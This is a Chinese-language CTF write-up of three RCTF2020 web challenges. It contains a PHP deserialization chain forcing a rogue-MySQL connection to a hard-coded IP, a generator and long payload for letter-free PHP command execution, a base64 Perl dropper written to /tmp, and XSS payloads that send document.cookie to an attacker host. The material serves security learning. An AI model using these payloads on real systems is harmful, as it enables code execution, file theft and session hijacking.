RCTF2020 calc & EasyBlog & swoole


這比賽的web太可怕了,我爬了

swoole

writeup:https://blog.rois.io/2020/rctf-2020-official-writeup/
源碼如下

#!/usr/bin/env php
<?php
Swoole\Runtime::enableCoroutine($flags = SWOOLE_HOOK_ALL);
$http = new Swoole\Http\Server("0.0.0.0", 9501);
$http->on("request",
    function (Swoole\Http\Request $request, Swoole\Http\Response $response) {
        Swoole\Runtime::enableCoroutine();
        $response->header('Content-Type', 'text/plain');
        // $response->sendfile('/flag');
        if (isset($request->get['phpinfo'])) {
            // Prevent racing condition
            // ob_start();phpinfo();
            // return $response->end(ob_get_clean());
            return $response->sendfile('phpinfo.txt');
        }
        if (isset($request->get['code'])) {
            try {
                $code = $request->get['code'];
                if (!preg_match('/\x00/', $code)) {
                    $a = unserialize($code);
                    $a();
                    $a = null;
                }
            } catch (\Throwable $e) {
                var_dump($code);
                var_dump($e->getMessage());
                // do nothing
            }
            return $response->end('Done');
        }
        $response->sendfile(__FILE__);
    }
);
$http->start();

用了swoole框架,並且直接給了反序列化:

$a = unserialize($code);
$a();

這里首先需要知道這個,即:[類,方法名]()的方式去調用類中的方法

<?php
class demo{
	public function test(){
		phpinfo();
	}
}
$a = new demo();
$b = [$a,'test'];
$b();

數組
然后就是需要觸發rogue mysql
根據hint:https://github.com/swoole/library/issues/34
這里mysql連接之后的選項均無效,那就找一個替代的:PDO

先看一下文檔里的PDO連接方式:
在這里插入圖片描述
需要用到PDOPool這個類然后去調用PDOPool::get()完成連接

說實話我看完writeup還是很懵

認為直接去序列化PDOPool::get然后反序列化就完成了,如

 $a = new \Swoole\Database\PDOPool((new \Swoole\Database\PDOConfig)
        ->withHost('123.57.240.205')
        ->withPort(3307)
        ->withDbName('test')
        ->withCharset('utf8mb4')
        ->withUsername('root')
        ->withPassword('root')
        ->withOptions([
             \PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
             \PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
        ])
    );
  echo serialize([$a,'get']);

在swoole環境下運行會報錯:
PHP Fatal error: Uncaught Exception: Serialization of 'Swoole\Coroutine\Channel' is not allowed in
看一下源碼:
PDOPool繼承了ConnectionPool,在ConnectionPool中找到$pool,類型為Channel
在這里插入圖片描述
然 后 發 現 原 來 是swoole 4.3.0版 本 后 已 經 移 除 Channel這個類的序列化,可 以 用 new \SplDoublyLinkedList()來替代$pool

那么就不能偷家了(不能直接序列化PDOPool::get)

所以要找另外一個方式,這也是我在復現的時候不理解的一個點,后來用swoole環境就清楚多了= =。

首先既然不能直接調用類:方法,那么就只能找一條鏈了,而鏈反序列化出來的東西肯定包含其他類方法,所以$a()會調用ObjectProxy::__invoke方法:
在這里插入圖片描述
然后將__object設置為Handler::exec
在這里插入圖片描述
而這個execute函數也比較巧妙,允許我們執行兩個自定義回調函數
在這里插入圖片描述
在這里插入圖片描述
那么先看第一個cb,Handler::headerFunction,將其設置為MysqliProxy::reconnect
這里允許我們調用函數
在這里插入圖片描述
然后初始化一個ObjectProxy,參數為函數返回的結果
在這里插入圖片描述
令constructor為ConnectionPool::get
先看它的__construct
在這里插入圖片描述
將這幾個參數初始化為:
在這里插入圖片描述
然后進入get
在這里插入圖片描述
由於pool被設置成了new SplDoublyLinkedList(),IsEmpty返回true,並且num<size

<?php
$a=new SplDoublyLinkedList();
var_dump($a->IsEmpty());//bool(true)

滿足if進入make(),在這里看到有個能讓我們實例化隨意類,隨意參數的地方,那就將proxy設置成PDOPool,將constructor設置成它的配置:PDOConfig
在這里插入圖片描述
然后將類帶入put
在這里插入圖片描述
put里面做了一個push操作,然后執行結束返回:

return $this->pool->pop();

我本地測了一下push后pop數據沒變化
在這里插入圖片描述
所以這里return的就是一個PDOPool類了
對應writeup中的代碼:

$c = new \Swoole\Database\PDOConfig();
$c->withHost('ip');    // your rouge-mysql-server host & port
$c->withPort(3307);
$c->withOptions([
    \PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
    \PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
]);

$a = new \Swoole\ConnectionPool(function () { }, 0, '');
changeProperty($a, 'size', 100);
changeProperty($a, 'constructor', $c);
changeProperty($a, 'num', 0);
changeProperty($a, 'pool', new \SplDoublyLinkedList());
changeProperty($a, 'proxy', '\\Swoole\\Database\\PDOPool');

順帶啰嗦一下

如果MySQL客戶端連接以后,如果沒有進行任何一句包括SELECT @@version之類的查詢,客戶端是完全不會響應服務器的LOCAL INFILE請求的。有許多客戶端,例如MySQL命令行,連接之后就會向服務器查詢各類參數。但PHP的MySQL客戶端連接之后是什么都不會做的,因此我們需要給MySQL客戶端配置MYSQL_ATTR_INIT_COMMAND參數,讓它連接之后自動向服務器發送一條SQL語句。

那么PDOPool這個類就完成了

到這里第一個函數$cb就完成了,並且ObjectProxy::__object為PDOPool類

來看第二個$cb,令Handler::readFunction為MysqliProxy::get,MysqliProxy沒有get方法,觸發__call
在這里插入圖片描述
這里的__object已經被我們上一步操作覆蓋為PDOPool類,最后一步就是連接了,所以才會令Handler::readFunction為MysqliProxy::get,此時name為get,也就調用了PDOPool::get

完成PDO連接

然后用S和\00繞一下這個正則即可:

!preg_match('/\x00/', $code))

直接跑官方exp,然后服務器上跑Rogue-MySql-Server即可:
在這里插入圖片描述
看了好久總算懂了...Orz

calc

計算,跟到/calc.php有源碼:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
    $str = $_GET['num'];
    $blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ','];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/im', $str)) {
            die("what are you want to do?");
        }
    }
    @eval('echo '.$str.';');
}
?>

過濾比較嚴格,最關鍵的把字母、異或、反引號、$等ban了,那么之前常用的無字母數字webshell就不好使了,不過有或運算和與運算還在,那么就可以通過| & ~等構造字母
echo (((10000000000000000000000).(1)){3});
在這里插入圖片描述
可以得到E,或是
在這里插入圖片描述
姿勢很多

貼一個cjm00n師傅的腳本,Orz:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

table = list(b'0123456789.-EINF')
dict={}
l=len(table)
temp=0
while temp!=l:
    for j in range(temp,l):
        if ~table[j] & 0xff not in table:
            table.append(~table[j] & 0xff)
            dict[~table[j] & 0xff] = {'op':'~','c':table[j]}
    for i in range(l):
        for j in range(max(i+1,temp),l):
            t = table[i] & table[j]
            if t not in table:
                table.append(t)
                dict[t] = {'op':'&','c1':table[i],'c2':table[j]}
            t = table[i] | table[j]
            if t not in table:
                table.append(t)
                dict[t] = {'op': '|', 'c1': table[i], 'c2': table[j]}
    temp=l
    l=len(table)

table.sort()
def howmake(ch:int) -> str:
    if ch in b'0123456789':
        return '(((1).(' + chr(ch) + ')){1})'
    elif ch in b'.':
        return '(((1).(0.1)){2})'
    elif ch in b'-':
        return '(((1).(-1)){1})'
    elif ch in b'E':
        return '(((1).(0.00001)){4})'
    elif ch in b'I':
        return '(((999**999).(1)){0})'
    elif ch in b'N':
        return '(((999**999).(1)){1})'
    elif ch in b'F':
        return '(((999**999).(1)){2})'

    d = dict.get(ch)
    if d:
        op = d.get('op')
        if op == '~':
            c = '~'+howmake(d.get('c'))
        elif op =='&':
            c = howmake(d.get('c1')) + '&' + howmake(d.get('c2'))
        elif op == '|':
            c = howmake(d.get('c1')) + '|' + howmake(d.get('c2'))
        return f'({c})'
    else:
        print('error')
        return

if __name__ == '__main__':
    while 1:
        payload = input('>')
        result = []
        for i in payload:
            result.append(howmake(ord(i)))
        result='.'.join(result)
        print(f'({result})')

思路就是先得到可打印字符的ascii的構造方式,然后根據傳入的字符的ascii,在0123456789.-E這幾個數的基礎上遞歸拼接
在這里插入圖片描述
然后構造system(next(getallheaders()))執行命令:

(((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((((1).(0.00001)){4})&(~(((1).(1)){1})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(-1)){1})|(((1).(0.00001)){4})))((((((1).(0.1)){2})|((((1).(0.00001)){4})&(~(((1).(1)){1})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(0)){1})|((~(((1).(5)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((((1).(0.00001)){4})&(~(((1).(1)){1})))))((((((1).(0.00001)){4})|((((1).(2)){1})&(((1).(0.1)){2}))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(0)){1})|((((1).(0.00001)){4})&(~(((1).(1)){1})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((((1).(0.00001)){4})&(~(((1).(4)){1})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((~(((1).(1)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((~(((1).(1)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((~(((1).(5)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).(((((1).(0)){1})&(((1).(0.1)){2}))|((((1).(0.00001)){4})&(~(((1).(4)){1})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((((1).(0.00001)){4})&(~(((1).(1)){1})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(0)){1})|((~(((1).(5)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))))()));

在這里插入圖片描述
/readflag之前需要計算
在這里插入圖片描述
可以將payload寫入/tmp下然后用perl執行,編碼一下防止數據丟失

echo 'IyEvdXNyL2Jpbi9lbnYgcGVybAogICAgICAgIHVzZSB3YXJuaW5nczsKICAgICAgICB1c2Ugc3RyaWN0OwogICAgICAgIHVzZSBJUEM6Ok9wZW4yOwogICAgICAgICR8ID0gMTsKICAgICAgICBteSAkcGlkID0gb3BlbjIoXCpvdXQyLCBcKmluMiwgIi9yZWFkZmxhZyIpIG9yIGRpZTsKICAgICAgICBteSAkcmVwbHkgPSA8b3V0Mj47CiAgICAgICAgcHJpbnQgU1RET1VUICRyZXBseTsKICAgICAgICAkcmVwbHkgPSA8b3V0Mj47CiAgICAgICAgcHJpbnQgU1RET1VUICRyZXBseTsKICAgICAgICBteSAkYW5zd2VyID0gZXZhbCgkcmVwbHkpOwogICAgICAgIHByaW50IFNURE9VVCAiYW5zd2VyOiAkYW5zd2VyXFxuIjsKICAgICAgICBwcmludCBpbjIgIiAkYW5zd2VyICI7CiAgICAgICAgaW4yLT5mbHVzaCgpOwogICAgICAgICRyZXBseSA9IDxvdXQyPjsKICAgICAgICBwcmludCBTVERPVVQgJHJlcGx5OwogICAgICAgICRyZXBseSA9IDxvdXQyPjsKICAgICAgICBwcmludCBTVERPVVQgJHJlcGx5Ow=='|base64 -d >/tmp/a.pl

在這里插入圖片描述
然后執行perl /tmp/a.pl即可
在這里插入圖片描述

EasyBlog

渣渣來復現
登陸注冊后是明顯的XSS

嘗試用<img src=#>可以正常插入圖片,但是插入<img src=# onerror=alert(1)>會被過濾,看一下csp:

default-src 'none'; script-src 'unsafe-eval' 'nonce-4dd516bfb85e09859190085f3abc31d8439fe768' ; font-src 'self' data:; connect-src 'self'; img-src *; style-src 'self'; base-uri 'none'

注意到有unsafe-eval和nonce

unsafe-eval:允許將字符串當作代碼執行,比如使用eval、setTimeout、setInterval和Function等函數

而nonce:每次HTTP回應給出一個授權token,頁面內嵌腳本必須有這個token,才會執行

並且由於沒有unsafe-inline,即使成功插入了<script>也不會被執行

先看文章處的js代碼:

function addComments(comments) {
  comments.forEach(function (comment) {
    let html = `
    <div class="panel panel-default">
        <div class="panel-heading">
          <span class="name"></span>
          <div class="pull-right">
              <button type="button" class="btn btn-default btn-xs like" data-id="${comment.id}">
                <span class="glyphicon glyphicon-thumbs-up" aria-hidden="true"></span><span>${comment.like}</span>
              </button>
              <button type="button" class="btn btn-default btn-xs dislike" data-id="${comment.id}">
                <span class="glyphicon glyphicon-thumbs-down" aria-hidden="true"></span><span>${comment.dislike}</span>
              </button>
          </div>
        </div>
        <div class="panel-body"></div>
      </div>
    `;
    dom = $(html)
    dom.find('div>.name').text(comment.name)
    dom.find('.panel-body').html(comment.comment)
    $('#comments').append(dom)
  })
}
function getUrlParam(name) {
  var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)")
  var r = window.location.search.substr(1).match(reg)
  if (r != null) return unescape(r[2])
  return null
}

$.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))
$('#comments').on('click','button', function(e) {
  let btn = $(e.currentTarget)
  if (btn.hasClass('like')) {
    $.get('?page=vote&op=like&id=' + btn.data('id'), function(e) {
      let count = parseInt(btn.children('span:last-child').text())
      btn.children('span:last-child').text(count + 1)
    })
  } else if(btn.hasClass('dislike')) {
    $.get('?page=vote&op=dislike&id=' + btn.data('id'), function(e) {
      let count = parseInt(btn.children('span:last-child').text())
      btn.children('span:last-child').text(count + 1)
    })
  }
})

這里有一個jsonp的回調函數

$.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))

但是由於沒有unsafe-inline限制了script腳本的執行

根據writeup是考的script gadget(代碼重用)

例如html如下

<!DOCTYPE html>
<html>
<head>
</head>
<body>
<button id="mbutton" data-text="<img src=x onerror=alert(/xss/)>">a</button>
<script>
var button = document.getElementById("mbutton");
button.innerHTML = button.getAttribute("data-text");
</script>
</body>
</html>

首先button中的一個屬性是img的error彈窗,但是直接放到html中並不會產生效果,但是如果用script標簽加載一個js,內容為選擇id為mbutton的button,並取出data-text屬性值,並放入加入html中便會產生gadget(代碼重用)此時img便被加入了button
在這里插入圖片描述
並且成功彈窗
在這里插入圖片描述
回到題目,這里由於沒有unsafe-inline,無法加載script標簽,那么便無法gadget

看到zepto源碼:
https://github.com/madrobby/zepto/blob/763b3d6dc3b4350759ed30aa196cd2b6e39efcfb/src/zepto.js#L918
在這里插入圖片描述
這里可以看到如果結點的大寫是SCRIPT就會將其用eval執行,這正好符合csp當中的unsafe-eval,所以,在不使用script標簽的情況下,仍然可以用eval來執行js完成gadget,那么可以用ı來替代i,payload:

<scrıpt>location.href="http://ip:port/?"+document.cookie</scrıpt>

將其插入到文章評論處,zepto會自動幫我們eval執行,然后提交給bot
在這里插入圖片描述
收到管理員cookie
在這里插入圖片描述
在這里插入圖片描述
還有一種解法,首先回到這個jsonp,觀察到cb為回調函數處

$.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))

getUrlParam函數是根據&來獲取id參數的

function getUrlParam(name) {
  var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)")
  var r = window.location.search.substr(1).match(reg)
  if (r != null) return unescape(r[2])
  return null
}

那么就用%26代替&,在show處增加一個cb,也就是回調函數,來執行代碼:

?page=show&id=0e65a36c-8369-4ae9-bb32-60119d4e2d06%26cb=alert()//&id=0e65a36c-8369-4ae9-bb32-60119d4e2d06

然后原理還是gadget,用eval來執行,在一開始寫文章處插入:

<input id="a" value="window.location='http://ip:port/'">

然后url的cb改為eval(a.value)即可

?page=show&id=0e65a36c-8369-4ae9-bb32-60119d4e2d06%26cb=eval(a.value)//id=0e65a36c-8369-4ae9-bb32-60119d4e2d06


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM